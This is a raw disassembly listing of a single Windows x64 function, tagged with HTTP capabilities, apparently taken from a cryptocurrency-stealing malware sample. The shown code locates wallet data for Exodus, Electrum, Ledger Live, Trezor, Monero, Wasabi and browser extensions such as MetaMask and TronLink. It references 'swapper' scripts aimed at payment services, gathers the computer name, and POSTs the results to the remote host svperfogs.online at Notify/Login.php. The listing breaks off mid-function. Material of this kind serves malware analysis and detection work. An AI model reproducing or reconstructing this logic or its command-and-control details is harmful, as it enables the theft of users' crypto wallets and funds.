Function at 0x14000d1a0
Capabilities:
Initialize winhttp library
Prepare http request
Receive http response
Reference http user-agent string

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push r13
push r14
push r15
sub rsp, 0xa70
mov rax, qword [0x14007d100]
xor rax, rsp
mov qword [rsp + 0xa60], rax
xor esi, esi
lea rcx, str.APPDATA
call fcn.1400462c0
mov rdi, 0xffffffffffffffff
test rax, rax
je 0x14000d288
xorps xmm0, xmm0
movups xmmword [rsp + 0x6c0], xmm0
mov qword [rsp + 0x6d0], rsi
mov qword [rsp + 0x6d8], rsi
mov r8, rdi
nop
inc r8
cmp byte [rax + r8], sil
jne 0x14000d210
mov rdx, rax
lea rcx, [rsp + 0x6c0]
call fcn.14001f010
mov rdx, qword [0x14007dd98]
cmp rdx, 0xf
jbe 0x14000d26a
mov rcx, qword [0x14007dd80]
inc rdx
cmp rdx, 0x1000
jb 0x14000d265
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140010e0b
mov rcx, r8
call fcn.140036370
movups xmm0, xmmword [rsp + 0x6c0]
movups xmmword [0x14007dd80], xmm0
movups xmm1, xmmword [rsp + 0x6d0]
movups xmmword [0x14007dd90], xmm1
lea rcx, str.LOCALAPPDATA
call fcn.1400462c0
test rax, rax
je 0x14000d338
xorps xmm0, xmm0
movups xmmword [rsp + 0x6c0], xmm0
mov qword [rsp + 0x6d0], rsi
mov qword [rsp + 0x6d8], rsi
mov r8, rdi
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], sil
jne 0x14000d2c0
mov rdx, rax
lea rcx, [rsp + 0x6c0]
call fcn.14001f010
mov rdx, qword [0x14007ddb8]
cmp rdx, 0xf
jbe 0x14000d31a
mov rcx, qword [0x14007dda0]
inc rdx
cmp rdx, 0x1000
jb 0x14000d315
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140010e0b
mov rcx, r8
call fcn.140036370
movups xmm0, xmmword [rsp + 0x6c0]
movups xmmword [0x14007dda0], xmm0
movups xmm1, xmmword [rsp + 0x6d0]
movups xmmword [0x14007ddb0], xmm1
xorps xmm0, xmm0
movups xmmword [rsp + 0x810], xmm0
movups xmmword [rsp + 0x820], xmm0
movups xmmword [rsp + 0x830], xmm0
movups xmmword [rsp + 0x840], xmm0
lea rax, [rsp + 0x810]
mov qword [rsp + 0x60], rax
mov dword [rsp + 0x810], esi
mov qword [rsp + 0x818], rsi
mov qword [rsp + 0x820], rsi
mov ecx, 0x50
call fcn.140036378
mov qword [rax], rax
mov qword [rax + 8], rax
mov qword [rsp + 0x818], rax
mov qword [rsp + 0x828], rsi
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x830], xmm0
mov qword [rsp + 0x840], 7
mov qword [rsp + 0x848], 8
mov dword [rsp + 0x810], 0x3f800000
mov r8, rax
mov edx, 0x10
lea rcx, [rsp + 0x828]
call fcn.140019550
nop
lea rcx, [rsp + 0x810]
call fcn.140006d60
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x640], xmm0
movups xmmword [rsp + 0x650], xmm0
movups xmmword [rsp + 0x660], xmm0
movups xmmword [rsp + 0x670], xmm0
lea rax, [rsp + 0x640]
mov qword [rsp + 0x60], rax
mov dword [rsp + 0x640], 0
mov qword [rsp + 0x648], rsi
mov qword [rsp + 0x650], rsi
mov ecx, 0x50
call fcn.140036378
mov qword [rax], rax
mov qword [rax + 8], rax
mov qword [rsp + 0x648], rax
mov qword [rsp + 0x658], rsi
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x660], xmm0
mov qword [rsp + 0x670], 7
mov qword [rsp + 0x678], 8
mov dword [rsp + 0x640], 0x3f800000
mov r8, rax
mov edx, 0x10
lea rcx, [rsp + 0x658]
call fcn.140019550
nop
lea rcx, [rsp + 0x640]
call fcn.140006d60
nop
lea rcx, [rsp + 0x640]
call fcn.140007840
nop
lea rcx, [rsp + 0x640]
call fcn.140007d70
xorps xmm0, xmm0
movups xmmword [rsp + 0x680], xmm0
mov qword [rsp + 0x690], rsi
mov qword [rsp + 0x698], rsi
mov r15d, 3
mov r8d, r15d
lea rdx, [0x14006ee70]
lea rcx, [rsp + 0x680]
call fcn.14001f010
nop
lea r8, [rsp + 0x680]
lea rdx, [rsp + 0x870]
lea rcx, [rsp + 0x810]
call fcn.140007650
nop
mov rdx, qword [rsp + 0x698]
cmp rdx, 0xf
jbe 0x14000d567
inc rdx
mov rcx, qword [rsp + 0x680]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d562
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010e05
call fcn.140036370
lea rcx, [rsp + 0x870]
mov r12, qword [rsp + 0x870]
cmp qword [rsp + 0x888], 0xf
cmova rcx, r12
mov r8, qword [rsp + 0x880]
cmp r8, 5
jne 0x14000e5f0
lea rdx, str.false
call fcn.14005e860
test eax, eax
jne 0x14000e5f0
lea rcx, [rsp + 0x6e0]
call fcn.1400085f0
nop
lea rdx, [0x14006ee70]
lea rcx, [rsp + 0x80]
call fcn.140013bf0
nop
lea r8, [rsp + 0x6e0]
lea rdx, [rsp + 0x80]
lea rcx, [rsp + 0x810]
call fcn.1400074d0
nop
lea rcx, [rsp + 0x80]
call fcn.1400139f0
lea rdx, str.Directext_script.js
lea rcx, [rsp + 0x850]
call fcn.140013bf0
nop
lea rdx, str.Directext2_script.js
lea rcx, [rsp + 0x9a0]
call fcn.140013bf0
nop
lea rdx, str.Directext3_script.js
lea rcx, [rsp + 0x980]
call fcn.140013bf0
nop
lea rdx, str.Directext4_script.js
lea rcx, [rsp + 0x960]
call fcn.140013bf0
nop
lea rdx, str.Direct_swapperBitrefill.js
lea rcx, [rsp + 0x940]
call fcn.140013bf0
nop
lea rdx, str.Direct_swapperCryptomus.js
lea rcx, [rsp + 0x920]
call fcn.140013bf0
nop
lea rdx, str.Direct_swapper_fixedfloat.js
lea rcx, [rsp + 0x9c0]
call fcn.140013bf0
nop
lea rdx, str.Direct_swapperG2A.js
lea rcx, [rsp + 0x9e0]
call fcn.140013bf0
nop
lea rdx, str.Direct_swapperhoodpay.js
lea rcx, [rsp + 0xa00]
call fcn.140013bf0
nop
lea rdx, str.Direct_swapper_sellix.js
lea rcx, [rsp + 0xa20]
call fcn.140013bf0
nop
lea rdx, [0x14006ee70]
lea rcx, [rsp + 0x80]
call fcn.140013bf0
nop
lea r8, [rsp + 0x80]
lea rdx, [rsp + 0x6a0]
lea rcx, [rsp + 0x810]
call fcn.140007650
nop
lea rcx, [rsp + 0x80]
call fcn.1400139f0
lea rdx, [rsp + 0x6a0]
lea rcx, [rsp + 0x850]
call fcn.140005b20
lea rdx, [rsp + 0x6a0]
lea rcx, [rsp + 0x9a0]
call fcn.140005b20
lea rdx, [rsp + 0x6a0]
lea rcx, [rsp + 0x980]
call fcn.140005b20
lea rdx, [rsp + 0x6a0]
lea rcx, [rsp + 0x960]
call fcn.140005b20
lea rdx, [rsp + 0x6a0]
lea rcx, [rsp + 0x940]
call fcn.140006560
lea rdx, [rsp + 0x6a0]
lea rcx, [rsp + 0x920]
call fcn.140006560
lea rdx, [rsp + 0x6a0]
lea rcx, [rsp + 0x9c0]
call fcn.140006560
lea rdx, [rsp + 0x6a0]
lea rcx, [rsp + 0x9e0]
call fcn.140006560
lea rdx, [rsp + 0x6a0]
lea rcx, [rsp + 0xa00]
call fcn.140006560
lea rdx, [rsp + 0x6a0]
lea rcx, [rsp + 0xa20]
call fcn.140006560
lea rdx, str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_536.46__KHTML__like_Gecko__Chrome_49.0.2623.229_Safari_602.0_Edge_14.86840
lea rcx, [rsp + 0xa40]
call fcn.140013bf0
nop
lea rcx, str.COMPUTERNAME
call fcn.1400462c0
mov rdx, rax
lea rcx, [rsp + 0x600]
call fcn.140013bf0
mov rbx, rax
lea r8, [rsp + 0xa40]
lea rdx, str.userAgent
lea rcx, [rsp + 0x680]
call fcn.14001d390
nop
lea r8, str.IDF
mov rdx, rax
lea rcx, [rsp + 0x6c0]
call fcn.14001d110
nop
lea r8, [rsp + 0x6e0]
mov rdx, rax
lea rcx, [rsp + 0x80]
call fcn.14001d180
nop
lea r8, str.Machine
mov rdx, rax
lea rcx, [rsp + 0x700]
call fcn.14001d110
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x720]
call fcn.14001d1f0
nop
lea rcx, [rsp + 0x700]
call fcn.1400139f0
nop
lea rcx, [rsp + 0x80]
call fcn.1400139f0
nop
lea rcx, [rsp + 0x6c0]
call fcn.1400139f0
nop
lea rcx, [rsp + 0x680]
call fcn.1400139f0
nop
lea rcx, [rsp + 0x600]
call fcn.1400139f0
lea rcx, [rsp + 0x7c0]
call fcn.140011100
lea r8, str.Exodus
lea rdx, [0x14007dd80]
lea rcx, [rsp + 0x640]
call fcn.14001cfa0
nop
mov r8, rax
lea rdx, [0x14006f218]
lea rcx, [rsp + 0x240]
call fcn.14001da80
nop
lea r8, str.Electrum
lea rdx, [0x14007dd80]
lea rcx, [rsp + 0x40]
call fcn.14001cfa0
nop
mov r8, rax
lea rdx, [0x14006f228]
lea rcx, [rsp + 0x280]
call fcn.14001da80
nop
lea r8, str._atomic
lea rdx, [0x14007dd80]
lea rcx, [rsp + 0xc0]
call fcn.14001cfa0
nop
mov r8, rax
lea rdx, str.Atomic
lea rcx, [rsp + 0x2c0]
call fcn.14001da80
nop
lea r8, str.Guarda
lea rdx, [0x14007dd80]
lea rcx, [rsp + 0xe0]
call fcn.14001cfa0
nop
mov r8, rax
lea rdx, [0x14006f244]
lea rcx, [rsp + 0x300]
call fcn.14001da80
nop
lea r8, str.Coinomi
lea rdx, [0x14007dda0]
lea rcx, [rsp + 0xa0]
call fcn.14001cfa0
nop
mov r8, rax
lea rcx, [rsp + 0x340]
call fcn.14001db00
nop
lea r8, str.monero_wallet_gui
lea rdx, [0x14007dd80]
lea rcx, [rsp + 0x100]
call fcn.14001cfa0
nop
mov r8, rax
lea rdx, str.Monero
lea rcx, [rsp + 0x380]
call fcn.14001da80
nop
lea r8, str.Ledger_Live
lea rdx, [0x14007dd80]
lea rcx, [rsp + 0x120]
call fcn.14001cfa0
nop
mov r8, rax
lea rdx, str.Ledger
lea rcx, [rsp + 0x3c0]
call fcn.14001da80
nop
lea r8, str._bitbox
lea rdx, [0x14007dd80]
lea rcx, [rsp + 0x140]
call fcn.14001cfa0
nop
mov r8, rax
lea rdx, str.Bitbox
lea rcx, [rsp + 0x400]
call fcn.14001da80
nop
lea r8, str._trezor
lea rdx, [0x14007dd80]
lea rcx, [rsp + 0x160]
call fcn.14001cfa0
nop
mov r8, rax
lea rdx, str.Trezor
lea rcx, [rsp + 0x440]
call fcn.14001da80
nop
lea r8, str.GoogleChromeUser_DataDefaultLocal_Extension_Settings_nkbihfbeogaeaoehlefnkodbefgpgknn
lea rdx, [0x14007dda0]
lea rcx, [rsp + 0x180]
call fcn.14001cfa0
nop
mov r8, rax
lea rdx, str.Metamask
lea rcx, [rsp + 0x480]
call fcn.14001da80
nop
lea r8, str.GoogleChromeUser_DataDefaultLocal_Extension_Settingsibnejdfjmmkpcnlpebklmnkoeoihofec
lea rdx, [0x14007dda0]
lea rcx, [rsp + 0x1a0]
call fcn.14001cfa0
nop
mov r8, rax
lea rdx, str.Tronlink
lea rcx, [rsp + 0x4c0]
call fcn.14001da80
nop
lea r8, str.GoogleChromeUser_DataDefaultLocal_Extension_Settingsegjidjbpglichdcondbcbdnbeeppgdph
lea rdx, [0x14007dda0]
lea rcx, [rsp + 0x1c0]
call fcn.14001cfa0
nop
mov r8, rax
lea rcx, [rsp + 0x500]
call fcn.14001db80
nop
lea r8, str.GoogleChromeUser_DataDefaultLocal_Extension_Settingshifafgmccdpekplomjjkcfgodnhcellj
lea rdx, [0x14007dda0]
lea rcx, [rsp + 0x1e0]
call fcn.14001cfa0
nop
mov r8, rax
lea rcx, [rsp + 0x540]
call fcn.14001dc00
nop
lea r8, str.WalletWasabi
lea rdx, [0x14007dd80]
lea rcx, [rsp + 0x200]
call fcn.14001cfa0
nop
mov r8, rax
lea rdx, str.wasabi
lea rcx, [rsp + 0x580]
call fcn.14001da80
nop
lea r8, str.Daedalus_Mainnet
lea rdx, [0x14007dd80]
lea rcx, [rsp + 0x220]
call fcn.14001cfa0
nop
mov r8, rax
lea rdx, str.daedalus
lea rcx, [rsp + 0x5c0]
call fcn.14001da80
nop
lea rax, [rsp + 0x240]
mov qword [rsp + 0x600], rax
lea rax, [rsp + 0x600]
mov qword [rsp + 0x608], rax
movaps xmm0, xmmword [rsp + 0x600]
movdqa xmmword [rsp + 0x600], xmm0
lea rdx, [rsp + 0x600]
lea rcx, [rsp + 0x7c0]
call fcn.140011120
nop
lea r9, [fcn.140007cc0]
mov edx, 0x40
mov r8d, 0xf
lea rcx, [rsp + 0x240]
call fcn.1400363b4
nop
lea rcx, [rsp + 0x220]
call fcn.1400139f0
nop
lea rcx, [rsp + 0x200]
call fcn.1400139f0
nop
lea rcx, [rsp + 0x1e0]
call fcn.1400139f0
nop
lea rcx, [rsp + 0x1c0]
call fcn.1400139f0
nop
lea rcx, [rsp + 0x1a0]
call fcn.1400139f0
nop
lea rcx, [rsp + 0x180]
call fcn.1400139f0
nop
lea rcx, [rsp + 0x160]
call fcn.1400139f0
nop
lea rcx, [rsp + 0x140]
call fcn.1400139f0
nop
lea rcx, [rsp + 0x120]
call fcn.1400139f0
nop
lea rcx, [rsp + 0x100]
call fcn.1400139f0
nop
lea rcx, [rsp + 0xa0]
call fcn.1400139f0
nop
lea rcx, [rsp + 0xe0]
call fcn.1400139f0
nop
lea rcx, [rsp + 0xc0]
call fcn.1400139f0
nop
lea rcx, [rsp + 0x40]
call fcn.1400139f0
nop
lea rcx, [rsp + 0x640]
call fcn.1400139f0
xor r12b, r12b
mov r13, qword [rsp + 0x7c8]
mov rbx, qword [rsp + 0x7c0]
cmp rbx, r13
je 0x140010e53
add rbx, 0x20
nop word [rax + rax]
mov rcx, qword [rbx + 0x10]
mov rax, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x14000dd41
mov rax, qword [rbx]
mov qword [rsp + 0x600], rax
mov qword [rsp + 0x608], rcx
call fcn.1400328a4
movaps xmm0, xmmword [rsp + 0x600]
movdqa xmmword [rsp + 0x60], xmm0
lea r8, [rsp + 0x60]
mov edx, eax
lea rcx, [rsp + 0x6c0]
call fcn.140003340
nop
lea rcx, [rsp + 0x6c0]
call fcn.140004990
movzx r14d, al
mov rdx, qword [rsp + 0x6d8]
cmp rdx, 7
jbe 0x14000ddd2
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x6c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000ddcd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010e11
call fcn.140036370
xorps xmm0, xmm0
mov qword [rsp + 0x690], rsi
mov qword [rsp + 0x698], rsi
mov r8d, 9
lea rcx, [rsp + 0x680]
movups xmmword [rsp + 0x680], xmm0
test r14b, r14b
je 0x14000e042
mov r12b, 1
lea rdx, str._E2_9C_85
call fcn.14001f010
nop
lea rdx, [rbx - 0x20]
lea rcx, [rsp + 0x700]
call fcn.140008140
nop
mov r8, rax
lea rcx, [rsp + 0x6c0]
call fcn.14001d260
nop
mov r8d, 1
lea rdx, [0x14006fdbc]
mov rcx, rax
call fcn.1400176b0
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], rsi
mov qword [rsp + 0x78], rsi
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x70], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [rsp + 0x680]
cmp qword [rsp + 0x698], 0xf
cmova rdx, qword [rsp + 0x680]
mov r8, qword [rsp + 0x690]
lea rcx, [rsp + 0x60]
call fcn.1400176b0
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x80], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x90], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [rsp + 0x80]
movq rcx, xmm0
movdqa xmm0, xmm1
psrldq xmm0, 8
movq rax, xmm0
cmp rax, 0xf
cmova rdx, rcx
movq r8, xmm1
lea rcx, [rsp + 0x720]
call fcn.1400176b0
nop
mov rdx, qword [rsp + 0x98]
cmp rdx, 0xf
jbe 0x14000df4a
inc rdx
mov rcx, qword [rsp + 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000df44
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010e17
call fcn.140036370
nop
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x14000df87
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000df82
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010e1d
call fcn.140036370
mov qword [rsp + 0x70], rsi
mov qword [rsp + 0x78], 0xf
mov byte [rsp + 0x60], 0
mov rdx, qword [rsp + 0x6d8]
cmp rdx, 0xf
jbe 0x14000dfdd
inc rdx
mov rcx, qword [rsp + 0x6c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000dfd8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010e23
call fcn.140036370
mov qword [rsp + 0x6d0], rsi
mov qword [rsp + 0x6d8], 0xf
mov byte [rsp + 0x6c0], 0
mov rdx, qword [rsp + 0x718]
cmp rdx, 0xf
jbe 0x14000e03d
inc rdx
mov rcx, qword [rsp + 0x700]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000e037
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010e29
call fcn.140036370
nop
jmp 0x14000e278
lea rdx, str._E2_9D_8C
call fcn.14001f010
nop
lea rdx, [rbx - 0x20]
lea rcx, [rsp + 0x700]
call fcn.140008140
nop
mov r8, rax
lea rcx, [rsp + 0x6c0]
call fcn.14001d260
nop
mov r8d, 1
lea rdx, [0x14006fdbc]
mov rcx, rax
call fcn.1400176b0
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], rsi
mov qword [rsp + 0x78], rsi
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x70], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [rsp + 0x680]
cmp qword [rsp + 0x698], 0xf
cmova rdx, qword [rsp + 0x680]
mov r8, qword [rsp + 0x690]
lea rcx, [rsp + 0x60]
call fcn.1400176b0
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x80], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x90], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [rsp + 0x80]
movq rcx, xmm0
movdqa xmm0, xmm1
psrldq xmm0, 8
movq rax, xmm0
cmp rax, 0xf
cmova rdx, rcx
movq r8, xmm1
lea rcx, [rsp + 0x720]
call fcn.1400176b0
nop
mov rdx, qword [rsp + 0x98]
cmp rdx, 0xf
jbe 0x14000e185
inc rdx
mov rcx, qword [rsp + 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000e17f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010e2f
call fcn.140036370
nop
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x14000e1c2
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000e1bd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010e35
call fcn.140036370
mov qword [rsp + 0x70], rsi
mov qword [rsp + 0x78], 0xf
mov byte [rsp + 0x60], 0
mov rdx, qword [rsp + 0x6d8]
cmp rdx, 0xf
jbe 0x14000e218
inc rdx
mov rcx, qword [rsp + 0x6c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000e213
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010e3b
call fcn.140036370
mov qword [rsp + 0x6d0], rsi
mov qword [rsp + 0x6d8], 0xf
mov byte [rsp + 0x6c0], 0
mov rdx, qword [rsp + 0x718]
cmp rdx, 0xf
jbe 0x14000e278
inc rdx
mov rcx, qword [rsp + 0x700]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000e272
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010e41
call fcn.140036370
nop
mov rdx, qword [rsp + 0x698]
cmp rdx, 0xf
jbe 0x14000e2bb
inc rdx
mov rcx, qword [rsp + 0x680]
cmp rdx, 0x1000
mov rax, rcx
jb 0x14000e2b6
mov rcx, qword [rcx - 8]
sub rax, rcx
add rdx, 0x27
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010e47
call fcn.140036370
add rbx, 0x40
lea rax, [rbx - 0x20]
cmp rax, r13
jne 0x14000dd30
test r12b, r12b
je 0x140010e53
lea rdx, [rsp + 0x720]
cmp qword [rsp + 0x738], 0xf
cmova rdx, qword [rsp + 0x720]
mov r8, qword [rsp + 0x730]
lea rcx, [0x14007ed40]
call fcn.140028d70
mov dword [rsp + 0x20], esi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.A_WinHTTP_Example_Program_1.0
call qword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov rbx, rax
test rax, rax
je 0x14000e390
mov r8d, 0x1bb
xor r9d, r9d
lea rdx, str.svperfogs.online
mov rcx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov r12, rax
test rax, rax
je 0x14000e386
mov dword [rsp + 0x30], 0x800000
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rsi
xor r9d, r9d
lea r8, str.Notify_Login.php
lea rdx, str.POST
mov rcx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov r14, rax
test rax, rax
jne 0x14000e4b1
mov rcx, r12
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, rbx
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
nop
lea rcx, [rsp + 0x7c0]
call fcn.140016e00
nop
lea rcx, [rsp + 0x720]
call fcn.1400139f0
nop
lea rcx, [rsp + 0xa40]
call fcn.1400139f0
nop
lea rcx, [rsp + 0x6a0]
call fcn.1400139f0
nop
lea rcx, [rsp + 0xa20]
call fcn.1400139f0
nop
lea rcx, [rsp + 0xa00]
call fcn.1400139f0
nop
lea rcx, [rsp + 0x9e0]
call fcn.1400139f0
nop
lea rcx, [rsp + 0x9c0]
call fcn.1400139f0
nop
lea rcx, [rsp + 0x920]
call fcn.1400139f0
nop
lea rcx, [rsp + 0x940]
call fcn.1400139f0
nop
lea rcx, [rsp + 0x960]
call fcn.1400139f0
nop
lea rcx, [rsp + 0x980]
call fcn.1400139f0
nop
lea rcx, [rsp + 0x9a0]
call fcn.1400139f0
nop
lea rcx, [rsp + 0x850]
call fcn.1400139f0
nop
lea rcx, [rsp + 0x6e0]
call fcn.1400139f0
nop
lea rcx, [rsp + 0x870]
call fcn.1400139f0
nop
lea rcx, [rsp + 0x810]
call fcn.140007d70
mov eax, edi
mov rcx, qword [rsp + 0xa60]
xor rcx, rsp
call fcn.140036350
lea r11, [rsp + 0xa70]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop r13
ret
lea rcx, [rsp + 0x720]
call fcn.1400139c0
mov qword [rsp + 0x30], rsi
mov rcx, qword [rsp + 0x730]
mov dword [rsp + 0x28], ecx
mov dword [rsp + 0x20], ecx
mov r9, rax
mov r8d, 0xffffffff
lea rdx, str.Content_Type:_application_x_www_form_urlencoded
mov rcx, r14
call qword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
test eax, eax
je 0x14000e4fb
xor edx, edx
mov rcx, r14
call qword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
mov rcx, r14
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, r12
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, rbx
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
nop
lea rcx, [rsp + 0x7c0]
call fcn.140016e00
nop
lea rcx, [rsp + 0x720]
call fcn.1400139f0
nop
lea rcx, [rsp + 0xa40]
call fcn.1400139f0
nop
lea rcx, [rsp + 0x6a0]
call fcn.1400139f0
nop
lea rcx, [rsp + 0xa20]
call fcn.1400139f0
nop
lea rcx, [rsp + 0xa00]
call fcn.1400139f0
nop
lea rcx, [rsp + 0x9e0]
call fcn.1400139f0
nop
lea rcx, [rsp + 0x9c0]
call fcn.1400139f0
nop
lea rcx, [rsp + 0x920]
call fcn.1400139f0
nop
lea rcx, [rsp + 0x940]
call fcn.1400139f0
nop
lea rcx, [rsp + 0x960]
call fcn.1400139f0
nop
lea rcx, [rsp + 0x980]
call fcn.1400139f0
nop
lea rcx, [rsp + 0x9a0]
call fcn.1400139f0
nop
lea rcx, [rsp + 0x850]
call fcn.1400139f0
nop
lea rcx, [rsp + 0x6e0]
call fcn.1400139f0
mov r12, qword [rsp + 0x870]
xorps xmm0, xmm0
movups xmmword [rsp + 0x6e0], xmm0
mov qword [rsp + 0x6f0], rsi
mov qword [rsp + 0x6f8], rsi
mov r8, r15
lea rdx, [0x14006ee74]
lea rcx, [rsp + 0x6e0]
call fcn.14001f010
nop
lea r8, [rsp + 0x6e0]
lea rdx, [rsp + 0x6c0]
lea rcx, [rsp + 0x810]
call fcn.140007650
nop
mov rdx, qword [rsp + 0x6f8]
cmp rdx, 0xf
jbe 0x14000e684
inc rdx
mov rcx, qword [rsp + 0x6e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000e67f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010f48
call fcn.140036370
call fcn.140009a00
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x6c0]
mov r14, qword [rsp + 0x6c0]
mov r13, qword [rsp + 0x6d8]
cmp r13, 0xf
cmova rcx, r14
mov r8, qword [rsp + 0x6d0]
cmp r8, 5
jne 0x14000e73a
lea rdx, str.false
call fcn.14005e860
test eax, eax
jne 0x14000e73a
call fcn.140009ca0
lea rdx, str.true
lea rcx, [rsp + 0x80]
call fcn.140013bf0
nop
lea rdx, [0x14006ee74]
lea rcx, [rsp + 0x700]
call fcn.140013bf0
nop
lea r8, [rsp + 0x80]
lea rdx, [rsp + 0x700]
lea rcx, [rsp + 0x810]
call fcn.1400074d0
nop
lea rcx, [rsp + 0x700]
call fcn.1400139f0
nop
lea rcx, [rsp + 0x80]
call fcn.1400139f0
lea rcx, str.LOCALAPPDATA
call fcn.1400462c0
xorps xmm0, xmm0
movups xmmword [rsp + 0x760], xmm0
mov qword [rsp + 0x770], rsi
mov qword [rsp + 0x778], rsi
mov r8, rdi
inc r8
cmp byte [rax + r8], 0
jne 0x14000e764
mov rdx, rax
lea rcx, [rsp + 0x760]
call fcn.14001f010
nop
lea rcx, str.APPDATA
call fcn.1400462c0
xorps xmm0, xmm0
movups xmmword [rsp + 0x850], xmm0
mov qword [rsp + 0x860], rsi
mov qword [rsp + 0x868], rsi
inc rdi
cmp byte [rax + rdi], 0
jne 0x14000e7a6
mov r8, rdi
mov rdx, rax
lea rcx, [rsp + 0x850]
call fcn.14001f010
nop
lea rax, str.Google_Chrome_User_Data_Default_Local_Extension_Settings_nkbihfbeogaeaoehlefnkodbefgpgknn
mov qword [rsp + 0x600], rax
mov qword [rsp + 0x608], 0x59
call fcn.1400328a4
movaps xmm0, xmmword [rsp + 0x600]
movdqa xmmword [rsp + 0x600], xmm0
lea r8, [rsp + 0x600]
mov edx, eax
lea rcx, [rsp + 0x720]
call fcn.140003340
nop
lea rax, [rsp + 0x760]
cmp qword [rsp + 0x778], 0xf
cmova rax, qword [rsp + 0x760]
mov qword [rsp + 0x600], rax
mov rax, qword [rsp + 0x770]
mov qword [rsp + 0x608], rax
call fcn.1400328a4
movaps xmm0, xmmword [rsp + 0x600]
movdqa xmmword [rsp + 0x600], xmm0
lea r8, [rsp + 0x600]
mov edx, eax
lea rcx, [rsp + 0x680]
call fcn.140003340
nop
lea r8, [rsp + 0x720]
lea rdx, [rsp + 0x680]
